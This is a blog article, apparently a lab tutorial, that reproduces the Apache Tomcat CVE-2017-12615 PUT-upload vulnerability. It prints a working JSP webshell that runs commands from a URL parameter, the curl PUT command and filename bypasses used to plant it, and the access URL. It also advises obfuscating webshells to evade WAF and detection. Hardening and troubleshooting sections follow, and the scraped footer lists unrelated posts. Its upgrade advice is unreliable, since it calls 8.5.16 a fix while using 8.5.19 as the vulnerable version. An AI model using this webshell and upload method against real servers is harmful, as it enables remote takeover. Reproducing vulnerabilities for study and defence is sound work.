news 2026/6/21 11:52:51

Apache Tomcat CVE-2017-12615漏洞复现与安全防护实践

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Apache Tomcat CVE-2017-12615漏洞复现与安全防护实践

1. 项目概述:一次经典的Web安全攻防演练

在Web应用安全领域,漏洞复现是安全研究员、渗透测试工程师乃至开发人员必须掌握的核心技能。它不仅是验证漏洞真实危害、理解攻击原理的直接途径,更是构建有效防御策略的基石。今天,我想和大家深入探讨一个在Apache Tomcat历史上留下深刻印记的漏洞:CVE-2017-12615。这个漏洞之所以经典,不仅在于其影响范围广(波及当时大量使用Tomcat 7.0.x至8.5.x版本的线上服务),更在于其利用方式巧妙地绕过了Tomcat的安全机制,直接导致了远程代码执行(RCE)的严重后果。对于刚入门安全的朋友,这是一个绝佳的学习案例;对于有经验的老手,重温其细节也能带来新的启发。本文将从一个实践者的角度,带你从零开始,完整复现这个漏洞,并深入剖析其背后的原理、利用条件以及关键的防护思路。

2. 漏洞原理深度解析:PUT方法与静态资源处理的“误会”

要理解CVE-2017-12615,我们不能仅仅停留在“上传JSP木马”这个操作层面,必须深入到Tomcat处理HTTP请求的核心逻辑中去。这个漏洞的本质,是Tomcat在特定配置下,对HTTP PUT请求的处理逻辑存在缺陷,允许攻击者上传一个包含JSP代码的恶意文件,并最终被Tomcat当作JSP动态脚本解析执行。

2.1 Tomcat默认配置的“安全假象”

首先,我们需要破除一个常见的误解:默认情况下,Tomcat是禁止通过PUT方法上传文件的。是的,在标准的conf/web.xml配置中,对于DefaultServlet(负责处理静态文件请求)的定义,其readonly参数默认值为true。这意味着,任何试图通过PUT、DELETE等方法修改服务器资源的请求都会被拒绝,返回403错误。这层防护看起来是坚固的。

然而,问题出在配置的灵活性上。Tomcat允许开发人员通过自定义的web.xml来覆盖或补充全局配置。如果开发者在应用的WEB-INF/web.xml中,为某个目录或整个应用显式地添加了一个DefaultServlet,并且没有设置readonly参数,或者将其设置为false,那么针对该路径的PUT请求就会被允许。这是漏洞能够被利用的第一个前提条件:存在一个配置了readonly=falseDefaultServlet

注意:在实际的漏洞利用环境中,这个条件往往不是攻击者创造的,而是由于开发人员不安全的配置习惯导致的。例如,某些应用为了实现文件管理功能,可能会主动开启PUT方法。

2.2 文件名绕过的“魔术”

满足了PUT请求被允许的条件,攻击者就可以上传文件了。但如果直接上传一个shell.jsp,Tomcat会乖乖地把它当作静态文件存储,而不会执行其中的JSP代码。因为JSP文件需要经过JspServlet的处理、编译才能执行。这里就引出了漏洞最精妙的部分:文件名绕过

Tomcat在决定一个请求该由哪个Servlet处理时,依赖于请求的URL路径。当请求/uploads/shell.jsp时,Tomcat会根据.jsp后缀将其路由给JspServlet。但攻击者可以利用一些技巧,让文件以.jsp结尾存储,却在请求时让Tomcat将其误判为静态资源,从而绕过JspServlet的编译前安全检查(如果存在的话),但在文件落地后,又能被当作JSP执行。

在Windows环境下,主要的绕过手法是利用文件系统特性:

  • shell.jsp(末尾加空格):Windows文件系统会自动去除文件名末尾的空格,所以存储的文件名实际是shell.jsp,但PUT请求时使用的URL是/uploads/shell.jsp%20。Tomcat在路径解析时可能不会严格校验末尾空格,从而允许文件上传。
  • shell.jsp::$DATA:这是NTFS文件流特性。::$DATA是默认的数据流标识符。当Tomcat在Windows上接收到这个文件名时,它可能会将::$DATA之后的内容当作流名处理,而实际创建的文件名就是shell.jsp

在Linux环境下,手法则不同:

  • shell.jsp/(末尾加斜杠):这是最常用且跨平台兼容性较好的方法。当请求路径为/uploads/shell.jsp/时,Tomcat可能将其识别为一个目录(虽然.jsp作为目录名很奇怪),从而交由DefaultServlet处理PUT请求。但文件系统在创建文件时,无法创建以/结尾的文件名,因此实际创建的文件就是shell.jsp

核心矛盾点在于:Tomcat处理PUT请求的逻辑(决定由哪个Servlet处理、如何解析路径)和操作系统文件系统最终存储文件的行为存在不一致。攻击者正是利用了这个不一致性,欺骗了Tomcat的请求路由机制,让恶意JSP文件得以落地。

2.3 从文件上传到代码执行

一旦恶意JSP文件(例如包含<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>的Webshell)被成功上传到Web应用目录下(如webapps/ROOT),攻击者就可以直接通过浏览器访问这个JSP文件的路径。此时,Tomcat不会再走DefaultServlet的静态文件处理流程,而是根据.jsp后缀,正常地将其交给JspServlet进行编译和执行,从而实现了远程代码执行。

3. 漏洞复现环境搭建与配置

纸上得来终觉浅,绝知此事要躬行。下面我们动手搭建一个可复现的漏洞环境。为了安全和便捷,强烈建议在虚拟机或隔离的Docker环境中进行。

3.1 环境准备:选择有漏洞的Tomcat版本

我们选择Tomcat 8.5.x系列中一个受影响的版本,例如8.5.19。你可以从Apache Archive下载。

# 下载Tomcat 8.5.19 wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.19/bin/apache-tomcat-8.5.19.tar.gz # 解压 tar -zxvf apache-tomcat-8.5.19.tar.gz cd apache-tomcat-8.5.19

3.2 关键漏洞配置:开启“潘多拉魔盒”

复现的关键在于模拟不安全的配置。我们需要修改webapps/ROOT/WEB-INF/web.xml文件(如果不存在则创建),添加一个允许PUT方法的DefaultServlet映射。

  1. 定位或创建配置文件:apache-tomcat-8.5.19/webapps/ROOT/WEB-INF/web.xml
  2. 编辑该文件,添加以下内容:
<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" version="3.1"> <servlet> <servlet-name>default</servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> <init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet> </web-app>

这段配置的核心是<init-param>中的readonly参数被设置为false。这相当于为ROOT应用根目录下的所有资源打开了PUT、DELETE等方法的大门。

  1. 启动Tomcat:
cd apache-tomcat-8.5.19/bin ./startup.sh # Linux # 或 startup.bat # Windows

访问http://localhost:8080确认Tomcat正常启动。

实操心得:在实际的漏洞挖掘中,我们往往无法直接修改目标的web.xml。因此,更常见的利用场景是寻找那些已经存在此类错误配置的线上应用。可以使用一些扫描器或手动探测,通过发送OPTIONS请求到不同路径,检查其允许的HTTP方法中是否包含PUT。

4. 漏洞利用过程全记录

环境就绪,现在我们扮演攻击者,尝试利用漏洞获取服务器控制权。

4.1 探测漏洞是否存在

首先,我们需要确认目标是否允许PUT方法。使用curl命令发送一个OPTIONS请求:

curl -v -X OPTIONS http://localhost:8080/

在返回的响应头中,查找Allow:字段。如果其中包含PUT,则说明该路径允许PUT方法,初步满足漏洞利用条件。

4.2 制作Webshell

准备一个最简单的JSP Webshell,保存为shell.txt,内容如下:

<%@ page import="java.util.*,java.io.*"%> <% String cmd = request.getParameter("cmd"); if (cmd != null) { Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>

这个脚本会接收一个名为cmd的GET参数,并在服务器上执行该命令,将结果输出到网页。

4.3 利用文件名绕过技巧上传Webshell

这里我们演示在Linux环境下最通用的/绕过方法。使用curl进行PUT请求:

curl -v -X PUT --data-binary @shell.txt http://localhost:8080/shell.jsp/

命令详解

  • -v: 显示详细过程,便于调试。
  • -X PUT: 指定使用PUT方法。
  • --data-binary @shell.txt: 将shell.txt文件的内容作为请求体二进制数据发送。
  • http://localhost:8080/shell.jsp/: 这是关键!我们在请求的路径末尾添加了一个斜杠/

如果上传成功,服务器会返回201 Created状态码。如果返回403 Forbidden,说明readonly可能仍是true,或者路径权限不足;如果返回409 Conflict,可能是路径问题,可以尝试换一个不存在的文件名。

4.4 访问Webshell执行命令

上传成功后,我们访问的路径是不带斜杠.jsp文件:

http://localhost:8080/shell.jsp?cmd=id

如果漏洞利用成功,页面将显示执行id命令的结果,即当前Tomcat进程运行的用户和组信息(通常是tomcatroot,取决于启动方式)。至此,我们完成了从漏洞探测到代码执行的全过程。

注意事项:在实际渗透测试中,直接使用Runtime.exec()执行命令可能会受到环境变量、管道符、重定向等限制。更稳定的Webshell可能会使用ProcessBuilder或编码后的命令。此外,上传的Webshell内容也要进行混淆,避免被简单的WAF或静态检测发现。

5. 漏洞修复方案与安全加固实践

复现漏洞是为了更好地防御。针对CVE-2017-12615,Apache官方迅速发布了修复版本。但修复不仅仅是升级,更是一系列安全实践的落实。

5.1 官方修复与版本升级

最根本的解决方案是升级到不受影响的Tomcat版本:

  • Tomcat 7.x 系列升级至 7.0.81 及以上。
  • Tomcat 8.5.x 系列升级至 8.5.16 及以上。
  • Tomcat 9.0.x 系列(该版本初始即已修复)。

官方的修复逻辑主要在于强化了DefaultServlet对PUT请求的文件名校验。在新版本中,即使readonly被设置为false,Tomcat也会在接收到PUT请求时,对请求的URL路径进行规范化处理,并严格检查最终的文件名是否以/结尾,或者是否包含Windows流等非法字符,从根源上堵死了绕过路径。

5.2 安全配置最佳实践

除了升级,以下配置是管理Tomcat时必须遵循的黄金法则:

  1. 严格审查readonly参数:除非有绝对必要且可控的业务需求(如WebDAV),否则永远不要将DefaultServletreadonly参数设置为false。检查所有应用(包括ROOT)的WEB-INF/web.xml以及全局的conf/web.xml
  2. 移除或禁用示例应用:生产环境务必删除webapps目录下的docs,examples,host-manager,manager等示例和管理应用。这些应用历史上曾多次曝出漏洞。
  3. 使用最小权限原则运行Tomcat:绝对不要使用root用户启动Tomcat。应该创建一个专用的、低权限的系统用户(如tomcat),并确保该用户仅对Tomcat所需的目录(如logs,work,temp)有写权限,对webappsconf目录最好只有读权限。这样即使被攻破,攻击者能造成的破坏也有限。
  4. 部署Web应用防火墙(WAF):在Tomcat前端部署WAF,可以拦截异常的PUT请求、包含可疑路径的请求(如包含/..;/::$DATA、末尾带特殊空格的请求)以及恶意的JSP请求内容。
  5. 定期安全审计与扫描:使用漏洞扫描工具定期对Tomcat服务进行扫描,检查是否存在错误配置、已知漏洞和弱口令(如Manager应用口令)。

5.3 针对PUT方法攻击的Nginx防护示例

如果你使用Nginx作为Tomcat的反向代理,可以在Nginx层添加一道防护。在对应的server配置块中,可以限制允许的HTTP方法:

location / { # 只允许GET, POST, HEAD方法,显式拒绝PUT, DELETE等 if ($request_method !~ ^(GET|POST|HEAD)$ ) { return 405; } proxy_pass http://tomcat_backend; # ... 其他代理配置 }

这种方法简单有效,但需要注意,如果业务确实需要PUT方法(如RESTful API),则需要针对特定路径进行精细化的配置,而不能一刀切。

6. 漏洞复现中的常见问题与排查技巧

在复现过程中,你可能会遇到各种问题。这里我总结了一些常见的坑和解决方法。

6.1 上传成功但访问404

  • 问题描述:PUT请求返回201 Created,但访问shell.jsp时返回404。
  • 排查思路
    1. 检查文件实际位置:登录服务器,到Tomcat的webapps/ROOT目录下查看,确认文件是否真的以shell.jsp的名字存在,而不是shell.jsp/或其他名字。ls -la命令可以查看包含特殊字符的文件名。
    2. 检查文件权限:确保Tomcat进程用户有读取该文件的权限。
    3. 检查上下文路径:确认你访问的URL是否正确。如果你修改了ROOT应用,或者将应用部署到了其他路径,需要相应调整URL。
    4. 查看Tomcat日志logs/catalina.outlogs/localhost.yyyy-MM-dd.log中通常会有详细的错误信息,例如JSP编译错误。可能你的JSP代码存在语法错误。

6.2 PUT请求返回403 Forbidden

  • 问题描述:无论尝试何种绕过技巧,PUT请求始终返回403。
  • 排查思路
    1. 确认web.xml配置已生效:检查修改的web.xml文件是否在正确的应用目录下(如ROOT/WEB-INF/),并且格式正确无语法错误。重启Tomcat使配置生效。
    2. 检查全局配置覆盖:检查conf/web.xml中的全局DefaultServlet配置,确保其readonly没有被显式设置为true且未被覆盖。有时全局配置的优先级更高。
    3. 检查操作系统/容器权限:确保Tomcat运行用户对目标目录(如webapps/ROOT)有写权限。在Linux上,使用ps aux | grep tomcat查看运行用户,再用ls -ld检查目录权限。
    4. 可能存在于子目录:尝试将PUT请求发送到更深层的子目录,例如http://localhost:8080/test/shell.jsp/,并在test目录下创建对应的WEB-INF/web.xml配置。

6.3 命令执行无回显或失败

  • 问题描述:可以访问shell.jsp页面,但执行cmd参数后页面空白或报错。
  • 排查思路
    1. 命令执行环境问题Runtime.exec()不解析Shell语法。像ls -la; pwd这样的命令会失败。复杂命令需要传递到/bin/sh -c,或者使用String[]数组形式传递参数。
    2. 权限问题:Tomcat进程用户权限过低,无法执行某些命令(如ifconfig,netstat)。
    3. 输出流问题:示例Webshell只读取了命令的标准输出(stdout),未读取标准错误(stderr)。如果命令执行出错,错误信息没有捕获,导致页面空白。更健壮的Webshell应该同时读取stdoutstderr
    4. 防火墙或安全软件拦截:服务器可能装有主机防火墙或安全软件,拦截了可疑的子进程创建行为。

6.4 在Windows环境下复现的特殊问题

  • 空格绕过失效:新版Windows或特定环境下的Tomcat可能已经修复了末尾空格的处理逻辑。
  • 流特性利用shell.jsp::$DATA在某些Java版本或Tomcat配置下可能无法成功创建文件。可以尝试shell.jsp%20(URL编码的空格)或shell.jsp.(末尾加点,Windows文件系统会去除末尾的点)。
  • 路径分隔符:注意Windows使用反斜杠\,但在URL和Java代码中,仍需使用正斜杠/

我个人的体会是,漏洞复现的价值远不止于“成功弹出一个计算器”。通过亲手搭建环境、触发漏洞、分析流量、排查问题,你能深刻理解安全机制是如何被一环一环突破的。CVE-2017-12615就是一个完美的教学样本,它教会我们:默认安全不等于绝对安全,配置的灵活性是把双刃剑,而纵深防御必须覆盖从网络层、应用服务器层到代码层的每一个环节。下次当你配置一个中间件或者审查一段代码时,不妨多问一句:“这里有没有可能因为一个不起眼的配置,打开一扇危险的后门?” 这种思维习惯,才是安全研究和工程实践中最宝贵的财富。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/21 11:44:29

全面掌控ThinkPad风扇:TPFanCtrl2让你的笔记本电脑散热更智能

全面掌控ThinkPad风扇&#xff1a;TPFanCtrl2让你的笔记本电脑散热更智能 【免费下载链接】TPFanCtrl2 ThinkPad Fan Control 2 (Dual Fan) for Windows 10 and 11 项目地址: https://gitcode.com/gh_mirrors/tp/TPFanCtrl2 你是否曾因ThinkPad风扇的"神经质"…

作者头像 李华
网站建设 2026/6/21 11:41:54

终极免费方案:3分钟开启无名杀网页版,随时随地体验三国杀对决

终极免费方案&#xff1a;3分钟开启无名杀网页版&#xff0c;随时随地体验三国杀对决 【免费下载链接】noname 项目地址: https://gitcode.com/GitHub_Trending/no/noname 还在为传统三国杀客户端繁琐的安装步骤而烦恼吗&#xff1f;想要在手机、平板或电脑上随时来一场…

作者头像 李华
网站建设 2026/6/21 11:39:19

卫星遥感与网络性能关联分析:从环境数据到网络韧性预测

1. 从一次网络卡顿说起&#xff1a;当野火成为网络工程师的“盲区” 去年夏天&#xff0c;我负责的一个北美跨境业务项目组&#xff0c;突然在某个下午开始密集收到用户投诉&#xff0c;说从加拿大马尼托巴省访问我们的服务时&#xff0c;视频会议卡顿、文件上传失败&#xff0…

作者头像 李华
网站建设 2026/6/21 11:29:38

Mate Engine:打造你的专属免费虚拟桌面伙伴

Mate Engine&#xff1a;打造你的专属免费虚拟桌面伙伴 【免费下载链接】Mate-Engine A free Desktop Mate alternative with a lightweight interface and custom VRM support, though with more features. 项目地址: https://gitcode.com/gh_mirrors/ma/Mate-Engine 还…

作者头像 李华
网站建设 2026/6/21 11:26:55

终极免费分屏游戏神器:Nucleus Co-Op 让单机游戏秒变多人同屏

终极免费分屏游戏神器&#xff1a;Nucleus Co-Op 让单机游戏秒变多人同屏 【免费下载链接】nucleuscoop Starts multiple instances of a game for split-screen multiplayer gaming! 项目地址: https://gitcode.com/gh_mirrors/nu/nucleuscoop 还在为无法与朋友在同一台…

作者头像 李华